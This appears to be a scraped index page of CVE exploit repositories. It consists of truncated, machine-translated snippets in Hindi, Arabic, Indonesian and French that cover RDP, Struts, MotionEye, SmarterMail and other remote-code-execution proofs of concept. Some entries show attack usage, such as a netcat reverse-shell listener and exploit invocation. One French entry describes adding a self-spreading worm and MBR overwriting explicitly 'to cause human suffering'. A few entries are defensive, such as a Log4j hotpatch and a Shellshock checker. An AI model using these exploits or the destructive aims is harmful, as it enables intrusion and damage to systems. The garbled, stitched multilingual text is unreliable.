RCE-CVE-2025-32710

RCE-CVE-2025-32710 विंडोज रिमोट डेस्कटॉप सेवाओं में दूरस्थ कोड निष्पादन की अनुमति देने वाली कमजोरी root@kitploit: 💥 RDP Auto-Pwn RCE-CVE-2025-32710 Eksploitasi Otomatis untuk Layanan RDP yang Rentan BlueKeep & Beyond 🔓 Membuat akun admin • 🪟 Mengaktifkan RDP • 📶 Verifikasi akses otomatis --- ⚠️...

CVE-2019-5010

CVE-2019-5010 लेखक: Jonathan M. Wilbur कॉपीराइट वर्ष: 2019 लाइसेंस: MIT License उपयोग कैसे करें 1. सभी निर्भरताएँ स्थापित करने के लिए npm install चलाएँ। 2. प्रोजेक्ट को संकलित करने के लिए npm run build का उपयोग करें। 3. node ./dist/index.js चलाएँ ताकि ./dist/cve-2019-5010-cert.pem में...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — SmarterMail की गंभीर भेद्यता स्थिति: 🔥 गंभीर — तत्काल कार्रवाई आवश्यक CVSS v3.1 स्कोर: 10.0 / 10 प्रकटीकरण तिथि: 29–30 दिसंबर, 2025 🧩 भेद्यता सारांश CVE-2025-52691 एक गंभीर, बिना प्रमाणीकरण वाली मनमानी फ़ाइल अपलोड भेद्यता है जो SmarterTools SmarterMail सर्वर को प्रभावित करती है...

CVE-2025-63406-PoC

CVE-2025-63406 प्रूफ ऑफ कॉन्सेप्ट स्थापना root@kitploit: Install dependencies pip install -r requirements.txt Or use a virtual environment python3 -m venv venv source venv/bin/activate On Windows: venv\Scripts\activate pip install -r requirements.txt उपयोग root@kitploit: python3 CVE-2025-63406.py...

cve-2022-22947

cve-2022-22947 Spring Cloud Gateway Spring mein ek API gateway hai. Iske 3.1.0 aur 3.0.6 version shamil se pehle ek SpEL अभिव्यक्ति इंजेक्शन भेद्यता maujood thi, jab attacker Actuator API tak pahunch sakta hai, to woh is भेद्यता ka upyog karke koi bhi command execute kar sakta hai. उपयोग:...

CVE-2023-25136

CVE-2023-25136 OpenSSH 9.1 भेद्यता का बड़े पैमाने पर स्कैन और शोषण भेद्यता के बारे में विवरण याद रखें, OpenSSH एक सॉफ्टवेयर है जो SSH प्रोटोकॉल को लागू करता है, जिसका उपयोग अक्सर लिनक्स या विंडोज मशीनों से दूरस्थ प्रशासन के लिए सुरक्षित रूप से जुड़ने के लिए किया जाता है। OpenSSH 9.1 में शामिल,...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 تم تحديث PoC لـ Watchguard CVE-2022-26318 ليعمل مع Python3.12 نظرًا لأن ssl.wrapsocket مهمل. PoC مأخوذ أصلاً من https://github.com/h3llk4t3/Watchguard-RCE-POC-CVE-2022-26318/blob/main/POCwg.py...

CVE-2019-16692

CVE-2019-16692 كود استغلال لـ CVE-2019-16692، ثغرة في phpIPAM...

CVE-2017-5638

CVE-2017-5638 جدول المحتويات 1. نظرة عامة 2. التبعيات 3. الاستخدام نظرة عامة هذا المشروع هو إثبات مفهوم لثغرة Apache Struts. كان الهدف إنشاء برنامج يمكنه توليد واختبار عناوين IP عشوائية للثغرة الموضحة أعلاه. استخدم هذا المشروع على مسؤوليتك الخاصة ولأغراض تعليمية فقط. التبعيات cURL يستخدم cURL...

Exploit-CVE-2014-4210-

COMMENCE PAR UN TRUC COOL MECUTILISE-LE POUR DÉCONNER AMÉLIORATIONS POUR CAUSER LA SOUFFRANCE HUMAINE : 1. Ver auto-réplicant : Se propage via des attaques SSH par force brute / exploits SMB vers tous les réseaux connectés. 2. Écrasement du MBR : Brick le matériel physique en détruisant les table...

CVE-2020-1938-Clean-Version

CVE-2020-1938-Clean-Version CVE-2020-1938GhostCat स्वच्छ और पढ़ने योग्य कोड संस्करण मैं...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE प्रमाणित RCE MotionEye = 0.43.1b4 में imagefilename फ़ील्ड पर क्लाइंट-साइड सत्यापन बाईपास के माध्यम से। उपयोग root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 झंडे...

CVE-2025-55182-POC

CVE-2025-55182 / CVE-2025-66478 بيئة إعادة إنتاج الثغرات هذا هو الحد الأدنى من MVP لإعادة إنتاج ثغرات React2Shell CVE-2025-55182 و Next.js RSC RCE CVE-2025-66478. ⚠️ تحذير هذا المشروع مخصص لأغراض البحث الأمني والتعليم فقط. لا تستخدمه في بيئات الإنتاج أو على أنظمة غير مصرح بها. نظرة عامة على الثغرا...

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

इस प्रकार का हमला PHP एप्लिकेशन की डिसीरियलाइज़ेशन प्रक्रिया का फायदा उठाकर सर्वर पर मनमाना कोड निष्पादित करने या अनपेक्षित कार्य करने का प्रयास करता है। शमन रणनीतियाँ PHP ऑब्जेक्ट इंजेक्शन और इसी तरह के हमलों से बचाव के लिए, निम्नलिखित रणनीतियों पर विचार करें: PHP ऑब्जेक्ट डिसीरियलाइज़ेशन अक्षम...

CVE-2024-50969

CVE-2024-50969 विवरण Code-projects Jonnys Liquor 1.0 के browse.php में एक प्रतिबिंबित क्रॉस-साइट स्क्रिप्टिंग XSS भेद्यता रिमोट हमलावरों को search पैरामीटर के माध्यम से मनमाने वेब स्क्रिप्ट या HTML इंजेक्ट करने की अनुमति देती है। भेद्यता प्रकार क्रॉस साइट स्क्रिप्टिंग XSS उत्पाद विक्रेता...

hotpatch-for-apache-log4j2

Log4jHotPatch هذه أداة تقوم بحقن وكيل Java في عملية JVM قيد التشغيل. سيحاول الوكيل تصحيح طريقة lookup لجميع مثيلات org.apache.logging.log4j.core.lookup.JndiLookup المحملة لإرجاع السلسلة "Patched JndiLookup::lookup" بشكل غير مشروط. إنه مصمم لمعالجة ثغرة تنفيذ التعليمات البرمجية عن بُعد...

CVE-2023-50643

CVE-2023-50643 CVE-2023-50643 MacOS v.10.68.2 के लिए Evernote में एक समस्या एक दूरस्थ हमलावर को RunAsNode और enableNodeClilnspectArguments घटकों के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है। इलेक्ट्रॉन में कमजोरियों की खोज की प्रक्रिया को स्वचालित करने के लिए डिज़ाइन किया गया एक उपकरण...

struts2-rce-cve-2017-9805-ruby

ثغرة Struts2 - CVE-2017-9805 الوصف Apache Struts2 REST Plugin XStream RCECVE-2017-9805 الاستخدام root@kitploit: Usage: cve20179805poc.rb targeturi cmd ruby cve20179805poc.rb 127.0.0.1 ping -c 4 192.168.0.1...

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: RCE قبل المصادقة في pyLoad قصة اكتشاف ثغرة RCE قبل المصادقة في pyLoad الخلاصة تؤدي ثغرة حقن كود في إصدارات pyLoad الأقدم من 0.5.0b3.dev31 إلى تنفيذ تعليمات برمجية عن بُعد RCE قبل المصادقة عبر إساءة استخدام وظيفة js2py. يمكنك العثور على التقرير هنا وكود الاستغلال هنا. التفاصيل pyLoa...

CVE-2014-6271

Shellshock Vulnerability Checker यह स्क्रिप्ट जाँचती है कि कोई वेबसाइट Shellshock भेद्यता CVE-2014-6271 के लिए असुरक्षित है या नहीं। सारांश: Shellshock भेद्यता, जिसे Bashdoor के नाम से भी जाना जाता है, एक सुरक्षा दोष था जो सितंबर 2014 में Unix Bash शेल में खोजा गया था। यह भेद्यता हमलावरों को Bash...